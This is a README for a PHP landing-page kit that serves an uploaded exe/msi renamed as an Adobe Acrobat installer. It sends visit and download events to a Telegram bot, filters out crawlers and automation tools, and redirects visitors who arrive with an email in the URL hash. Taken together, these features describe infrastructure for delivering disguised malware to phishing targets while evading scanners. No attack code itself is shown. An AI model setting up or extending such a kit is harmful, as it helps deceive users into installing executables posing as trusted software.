File: /home/redpsiju/.trash/adobe_v2/README.md
# admov2pg
Landing page with visit/download tracking to Telegram, bot detection. Add files manually to `uploads/` folder. **PHP only** – no Python.
## Setup
1. **Configure** `config.json`:
- `telegram.bot_token` – from [@BotFather](https://t.me/BotFather)
- `telegram.chat_id` – your chat/group ID (e.g. from [@userinfobot](https://t.me/userinfobot))
- `download.use_local` – `true` to serve from `uploads/`, `false` for external URL
- `download.local_filename` – filename in `uploads/` folder
- `download.external_url` – fallback when not using local file
- `redirect.with_email_hash` – URL to redirect when email is in hash
2. **Add your file** – put your exe/msi in the `uploads/` folder (name must match `local_filename` in config)
3. **Run** – place in a PHP-enabled web root (Apache/Nginx) and visit the site. `index.html` is the landing page.
## Features
- **Telegram notifications**: Visit and download events sent to your bot (real users only)
- **Bot detection**: Filters crawlers, headless browsers, automation tools
- **Unique download names**: Each download gets a unique suffix (e.g. `Adobe.Acrobat.Installer.ClientSetup_a7b3c9.msi`)
## Files
| File | Description |
|------|-------------|
| `index.html` | Landing page |
| `api/config.php` | Returns download URL and redirect base |
| `api/visit.php` | Log visit (POST) |
| `api/download.php` | Log download (POST) |
| `download.php?f=<file>` | Serve file with unique suffix |